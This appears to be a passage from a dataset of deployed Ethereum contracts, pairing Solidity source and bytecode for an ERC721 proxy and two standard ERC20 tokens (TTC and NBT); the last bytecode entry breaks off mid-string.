╙▓▐▓▌▒▀▓▄▄▓▀▒▌▓▓▒▓▒▒▌▐╬▒φ▒░.░╬░]:'░Q░.▐▒▓▒╣▒▀▓░▒░▓╬╫░.└░░░░╫½╣bΦ▌▌╬░▀▓▄▌b _ '' ▓▀▒░▒▓░╠▀▀╬▓▀▌▒▌▀▒▀▓▓▌╬▓▒╬└:╫░░╬.░░╡░│╙╬Å╬╢╬╬▀Q▒▄╬░▓▌░ ░░'C%Å▌▀░▐▓░▒▒╬▓▓╬∩__ _ _ ▄▓▐▓▓▐╬░▒╬▓▌▓▄▓▀▒╬▓▓▌▓▓▀φ▄░φ▀░░▌└░]╬.╔╫▄╬▒╫╬╫╬▒╬╫╠Ö╬╬▐╡'░½╙░▒▀▓▒╙▒╬╬╬╬╬╣╬╬ ⌠▄▓▄▐▓╬░▒▀▓╙▓▓▀▌▓▓▓▓▓▒▓╟╬░░╟░░╔▌░⌐░╩╚▒╬▓▓▓▒╬╣▒▓▓▓∩░▒░▐░',½╙╬╟▒▐▌╣▄╢╬╠╬╬╬╬╬╠_ ▀▀▄▀▓▓▒▒▓▒░░░▒╫╬▒╣▓▓▌▓░▒╬░░φ░╠╫▌░░╠░╣╟▓╫▓▒▓▒▓▀▒▓"Γ╬,░░░░.]▐╠,▒▓▒▓▓▓▒▒▒╬╬╬╠╠╣▄ ▓▀▄▓▄▄▄▓▌▓▓▓▓▄╬▓▒╬▓▓▓▓▓▓▌░░╬╫░▒▌░╠Ö╟▒╬░╠▒╣▓▓▌╣▒╬▀▌▐╠╠░░φ░▐▐▄▀▒▌▓▓▓▓▓▓▓▒╬╢╠▓▒╬▌ ▄▄▓▄▀▀▓▄░▓½▓▓▓▓▓▓▓▓▓▓▓▓╬▓∩╬░╬░╫░░╠░▌▒▒▒▒▓▓▓▓╬▓▌╬╬▌╙╠▒░▄▓Ö╬▄╣▓▌▓▓▓▌▓▓▓▒▓▓▒▒▌▒╢▌ ▀▄▄▀▀▓▄▓▓▓▓▌╬╬╬░░░╬▓▓▓▓▓▌▒▌╠╬╗╬░]▓▓▓╣╬╬▓▓▄▓▓▓▓▒╣╬▓▒╩╠▒▓▓▌▐▌▄▓▓▓▓▓▓▒█▓▓▓▓▓▓▌▀`_ ▓▓▄▓▓▌▓▓▓▓▓▀╬╬Γ░░░╣▓▓▓▓▓▌▀░╬╣▒╬░▒▒▓▓▓▓▓▓▒▓▌▓▌▓▓▓╫▒▓▒▓▓▓▀╬▀▓▌▒▓▓▓▓▓▓▓▓▓▓▓░ ▀░▓╬╬▓▓▀░╬╬╬╬░░░░╠╬▓▓▓▓▓▓╬╬▓▓▓╣╩░▓▒▓▓▓▓▓▓▓▓▓▌▓▓▓▓▌▓▒▓╬╢╬Å╟▒╣▓▓▓▓╬░░░░░░╬ '╘'└' _ ___ __ '^└└╙└└ ^'└' _└└└└└'_'' ^╙└└^¬╙¬' _'_ ' `╘╙└` _ _ __ _ ,,╓╓,__ _ ╙▀▓▓▓▀▀" ▄▓▀╙¬'^▀▓▓⌐ _*▓▓Ö ▓▓▌ _▓▓∩ _ ]▓▌_ ▐▓▓ _▓▓▄_ ,µ _▓▓ ]▓▓_ ,▄▄,_ ╓▄_ _,▄▄ ▀▓▓▄ _ _ ▄▓µ_ _,_▄m_,▄_ ▄▄ ╫▓__,▄▄, _▓▓▌ ▄█╙ ╫▓"▀▓▓ ▄▀^▐▓∩ _╙█▓▓▓▄ _└▐▓▓▀╘ ╓▒▀╙╙▓▓_└▀▓▌▄▀▀▓▐▓Q#▀└.▓▓ ╫▓▓_╓▓▀╓▄▀▀ ▓▓▄▀ _╓▓▌_▄▌ _'▀▓▓▓_ _▓▓_ ,▓▀_ _▄▓¬ _▐▓▒└ ▓▓╙_╓▄▀▀_ ]▓▓_]▓▌└ _▄▓▓▓¬ ╒▓▌ j▓^ _▓▓▌_╫▓¬_╔▓▀_ ,▓▓" _▄▓▓ ▓▓▀▓▓¬_ ▓▓▀ ╟▓▌ _╓▄▀,▓▌_ ▓▓,#▀▓_ _▓▓▌▐▓▌▄▓▓▓ ▄╩▐▓▌,▄▀▓▓_ ╫▓_ _▓▌_╓∩ _▓▓▌ _▀▀▀▀└__╙▀ _╙▀▀╘ ^█▄ ▄▓▀_▀▀▀_"▀▀▀_ ╙▀▀▀_╙▀_ _▀¬ ▀▀└_ _▐▓▀ ╙▀█▒▄Æ█▀▀ _ ▓▓▄▄▒▀¬ ______/\\\\\\\\\__/\\\_______/\\\__/\\\\\\\\\\\__/\\\\\\\\\\\\\___ _____/\\\////////__\///\\\___/\\\/__\/////\\\///__\/\\\/////////\\\_ ___/\\\/_____________\///\\\\\\/________\/\\\_____\/\\\_______\/\\\_ __/\\\_________________\//\\\\__________\/\\\_____\/\\\\\\\\\\\\\/__ _\/\\\__________________\/\\\\__________\/\\\_____\/\\\/////////____ _\//\\\_________________/\\\\\\_________\/\\\_____\/\\\_____________ __\///\\\_____________/\\\////\\\_______\/\\\_____\/\\\_____________ ____\////\\\\\\\\\__/\\\/___\///\\\__/\\\\\\\\\\\_\/\\\_____________ _______\/////////__\///_______\///__\///////////__\///____________*/ import './ICxipRegistry.sol'; contract CxipERC721Proxy { fallback () payable external { address _target = ICxipRegistry (0xC267d41f81308D7773ecB3BDd863a902ACC01Ade).getERC721CollectionSource (); assembly { calldatacopy (0, 0, calldatasize ()) let result := delegatecall (gas (), _target, 0, calldatasize (), 0, 0) returndatacopy (0, 0, returndatasize ()) switch result case 0 { revert (0, returndatasize ()) } default { return (0, returndatasize ()) } } } }
0x608060408190527f58bfd99600000000000000000000000000000000000000000000000000000000815260009073c267d41f81308d7773ecb3bdd863a902acc01ade906358bfd9969060849060209060048186803b158015605f57600080fd5b505afa1580156072573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906094919060b9565b90503660008037600080366000845af43d6000803e80801560b4573d6000f35b3d6000fd5b60006020828403121560c9578081fd5b815173ffffffffffffffffffffffffffffffffffffffff8116811460eb578182fd5b939250505056fea2646970667358221220e40db164da39a10669859af903c7c9d1a96e3a2e162855f6b00aa89d483e4c6164736f6c63430008040033
[ 2 ]
0xf394f7d76b8efce4cdb80c7f919c9dcd1d33cec6
pragma solidity ^0.4.18; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * The Tabs Tracking Chain token (TTC - TTCToken) has a fixed supply * * The owner can associate the token with a token sale contract. In that * case, the token balance is moved to the token sale contract, which * in turn can transfer its tokens to contributors to the sale. */ contract TTCToken is StandardToken, BurnableToken, Ownable { // Constants string public constant name = "Tabs Tracking Chain"; string public constant symbol = "TTC"; uint8 public constant decimals = 18; string public constant website = "www.ttchain.io"; uint256 public constant INITIAL_SUPPLY = 600000000 * (10 ** uint256(decimals)); uint256 public constant CROWDSALE_ALLOWANCE = 480000000 * (10 ** uint256(decimals)); uint256 public constant ADMIN_ALLOWANCE = 120000000 * (10 ** uint256(decimals)); // Properties uint256 public crowdSaleAllowance; // the number of tokens available for crowdsales uint256 public adminAllowance; // the number of tokens available for the administrator address public crowdSaleAddr; // the address of a crowdsale currently selling this token address public adminAddr; // the address of a crowdsale currently selling this token //bool public transferEnabled = false; // indicates if transferring tokens is enabled or not bool public transferEnabled = true; // Enables everyone to transfer tokens // Modifiers /** * The listed addresses are not valid recipients of tokens. * * 0x0 - the zero address is not valid * this - the contract itself should not receive tokens * owner - the owner has all the initial tokens, but cannot receive any back * adminAddr - the admin has an allowance of tokens to transfer, but does not receive any * crowdSaleAddr - the crowdsale has an allowance of tokens to transfer, but does not receive any */ modifier validDestination(address _to) { require(_to != address(0x0)); require(_to != address(this)); require(_to != owner); require(_to != address(adminAddr)); require(_to != address(crowdSaleAddr)); _; } /** * Constructor - instantiates token supply and allocates balanace of * to the owner (msg.sender). */ function TTCToken(address _admin) public { // the owner is a custodian of tokens that can // give an allowance of tokens for crowdsales // or to the admin, but cannot itself transfer // tokens; hence, this requirement require(msg.sender != _admin); totalSupply = INITIAL_SUPPLY; crowdSaleAllowance = CROWDSALE_ALLOWANCE; adminAllowance = ADMIN_ALLOWANCE; // mint all tokens balances[msg.sender] = totalSupply.sub(adminAllowance); Transfer(address(0x0), msg.sender, totalSupply.sub(adminAllowance)); balances[_admin] = adminAllowance; Transfer(address(0x0), _admin, adminAllowance); adminAddr = _admin; approve(adminAddr, adminAllowance); } /** * Associates this token with a current crowdsale, giving the crowdsale * an allowance of tokens from the crowdsale supply. This gives the * crowdsale the ability to call transferFrom to transfer tokens to * whomever has purchased them. * * Note that if _amountForSale is 0, then it is assumed that the full * remaining crowdsale supply is made available to the crowdsale. * * @param _crowdSaleAddr The address of a crowdsale contract that will sell this token * @param _amountForSale The supply of tokens provided to the crowdsale */ function setCrowdsale(address _crowdSaleAddr, uint256 _amountForSale) external onlyOwner { require(_amountForSale <= crowdSaleAllowance); // if 0, then full available crowdsale supply is assumed uint amount = (_amountForSale == 0) ? crowdSaleAllowance : _amountForSale; // Clear allowance of old, and set allowance of new approve(crowdSaleAddr, 0); approve(_crowdSaleAddr, amount); crowdSaleAddr = _crowdSaleAddr; } /** * Overrides ERC20 transfer function with modifier that prevents the * ability to transfer tokens until after transfers have been enabled. */ function transfer(address _to, uint256 _value) public validDestination(_to) returns (bool) { return super.transfer(_to, _value); } /** * Overrides ERC20 transferFrom function with modifier that prevents the * ability to transfer tokens until after transfers have been enabled. */ function transferFrom(address _from, address _to, uint256 _value) public validDestination(_to) returns (bool) { bool result = super.transferFrom(_from, _to, _value); if (result) { if (msg.sender == crowdSaleAddr) crowdSaleAllowance = crowdSaleAllowance.sub(_value); if (msg.sender == adminAddr) adminAllowance = adminAllowance.sub(_value); } return result; } /** * Overrides the burn function so that it cannot be called until after * transfers have been enabled. * * @param _value The amount of tokens to burn in wei-TTC */ function burn(uint256 _value) public { require(transferEnabled || msg.sender == owner); super.burn(_value); Transfer(msg.sender, address(0x0), _value); } }
0x60606040526004361061013d5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610142578063095ea7b3146101cc57806318160ddd1461020257806322ed63021461022757806323b872dd1461024b5780632ff2e9dc14610273578063313ce5671461028657806342966c68146102af5780634cd412d5146102c55780635c9d0fb1146102d857806366188463146102eb57806370a082311461030d578063818305931461032c5780638da5cb5b1461035b5780638eeb33ff1461036e57806395d89b4114610381578063a9059cbb14610394578063beb0a416146103b6578063d14ac7c4146103c9578063d56de6ed146103dc578063d73dd623146103ef578063dd62ed3e14610411578063f2fde38b14610436578063fc53f95814610455575b600080fd5b341561014d57600080fd5b610155610468565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610191578082015183820152602001610179565b50505050905090810190601f1680156101be5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101d757600080fd5b6101ee600160a060020a036004351660243561049f565b604051901515815260200160405180910390f35b341561020d57600080fd5b61021561050b565b60405190815260200160405180910390f35b341561023257600080fd5b610249600160a060020a0360043516602435610511565b005b341561025657600080fd5b6101ee600160a060020a03600435811690602435166044356105a6565b341561027e57600080fd5b6102156106a9565b341561029157600080fd5b6102996106b9565b60405160ff909116815260200160405180910390f35b34156102ba57600080fd5b6102496004356106be565b34156102d057600080fd5b6101ee61074b565b34156102e357600080fd5b61021561076c565b34156102f657600080fd5b6101ee600160a060020a036004351660243561077c565b341561031857600080fd5b610215600160a060020a0360043516610876565b341561033757600080fd5b61033f610891565b604051600160a060020a03909116815260200160405180910390f35b341561036657600080fd5b61033f6108a0565b341561037957600080fd5b61033f6108af565b341561038c57600080fd5b6101556108be565b341561039f57600080fd5b6101ee600160a060020a03600435166024356108f5565b34156103c157600080fd5b610155610991565b34156103d457600080fd5b6102156109c8565b34156103e757600080fd5b6102156109ce565b34156103fa57600080fd5b6101ee600160a060020a03600435166024356109d4565b341561041c57600080fd5b610215600160a060020a0360043581169060243516610a78565b341561044157600080fd5b610249600160a060020a0360043516610aa3565b341561046057600080fd5b610215610b3e565b60408051908101604052601381527f5461627320547261636b696e6720436861696e00000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005481565b60035460009033600160a060020a0390811691161461052f57600080fd5b60045482111561053e57600080fd5b811561054a578161054e565b6004545b60065490915061056890600160a060020a0316600061049f565b50610573838261049f565b50506006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03939093169290921790915550565b60008083600160a060020a03811615156105bf57600080fd5b30600160a060020a031681600160a060020a0316141515156105e057600080fd5b600354600160a060020a03828116911614156105fb57600080fd5b600754600160a060020a038281169116141561061657600080fd5b600654600160a060020a038281169116141561063157600080fd5b61063c868686610b4d565b915081156106a05760065433600160a060020a03908116911614156106725760045461066e908563ffffffff610ccf16565b6004555b60075433600160a060020a03908116911614156106a05760055461069c908563ffffffff610ccf16565b6005555b50949350505050565b6b01f04ef12cb04cf15800000081565b601281565b60075474010000000000000000000000000000000000000000900460ff16806106f5575060035433600160a060020a039081169116145b151561070057600080fd5b61070981610ce1565b600033600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405190815260200160405180910390a350565b60075474010000000000000000000000000000000000000000900460ff1681565b6b018d0bf423c03d8de000000081565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054808311156107d957600160a060020a033381166000908152600260209081526040808320938816835292905290812055610810565b6107e9818463ffffffff610ccf16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526001602052604090205490565b600754600160a060020a031681565b600354600160a060020a031681565b600654600160a060020a031681565b60408051908101604052600381527f5454430000000000000000000000000000000000000000000000000000000000602082015281565b600082600160a060020a038116151561090d57600080fd5b30600160a060020a031681600160a060020a03161415151561092e57600080fd5b600354600160a060020a038281169116141561094957600080fd5b600754600160a060020a038281169116141561096457600080fd5b600654600160a060020a038281169116141561097f57600080fd5b6109898484610d9c565b949350505050565b60408051908101604052600e81527f7777772e7474636861696e2e696f000000000000000000000000000000000000602082015281565b60045481565b60055481565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610a0c908363ffffffff610e9716565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610abe57600080fd5b600160a060020a0381161515610ad357600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6a6342fd08f00f637800000081565b6000600160a060020a0383161515610b6457600080fd5b600160a060020a038416600090815260016020526040902054821115610b8957600080fd5b600160a060020a0380851660009081526002602090815260408083203390941683529290522054821115610bbc57600080fd5b600160a060020a038416600090815260016020526040902054610be5908363ffffffff610ccf16565b600160a060020a038086166000908152600160205260408082209390935590851681522054610c1a908363ffffffff610e9716565b600160a060020a03808516600090815260016020908152604080832094909455878316825260028152838220339093168252919091522054610c62908363ffffffff610ccf16565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b600082821115610cdb57fe5b50900390565b600160a060020a033316600090815260016020526040812054821115610d0657600080fd5b5033600160a060020a038116600090815260016020526040902054610d2b9083610ccf565b600160a060020a03821660009081526001602052604081209190915554610d58908363ffffffff610ccf16565b600055600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b6000600160a060020a0383161515610db357600080fd5b600160a060020a033316600090815260016020526040902054821115610dd857600080fd5b600160a060020a033316600090815260016020526040902054610e01908363ffffffff610ccf16565b600160a060020a033381166000908152600160205260408082209390935590851681522054610e36908363ffffffff610e9716565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600082820183811015610ea657fe5b93925050505600a165627a7a723058207fcfbad6fbf717117c805551a6bbf8838b004afd08e4c58d2253781172a9ab8a0029
[ 38 ]
0xf39551e2118f92e312172c6e10a777482d8cbe86
// SPDX-License-Identifier: No License pragma solidity 0.6.12; // ---------------------------------------------------------------------------- // 'New Build Token' contract // // Symbol : NBT // Name : New Build Token // Total supply: 13 000 000 000 // Decimals : 18 // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath{ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ interface ERC20Basic { function balanceOf(address who) external view returns (uint256 balance); function transfer(address to, uint256 value) external returns (bool trans1); function allowance(address owner, address spender) external view returns (uint256 remaining); function transferFrom(address from, address to, uint256 value) external returns (bool trans); function approve(address spender, uint256 value) external returns (bool hello); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20Basic, Ownable { uint256 public totalSupply; using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public override returns (bool trans1) { require(_to != address(0)); //require(canTransfer(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. */ function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) { require(_to != address(0)); // require(canTransfer(msg.sender)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public override returns (bool hello) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. */ function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract NBT is BurnableToken { string public constant name = "New Build Token"; string public constant symbol = "NBT"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 13000000000 * (10 ** uint256(decimals)); // Constructors constructor () public{ totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner //allowedAddresses[owner] = true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a13565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd9565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6a565b6040518082815260200191505060405180910390f35b6103b1610eb3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f10565b60405180821515815260200191505060405180910390f35b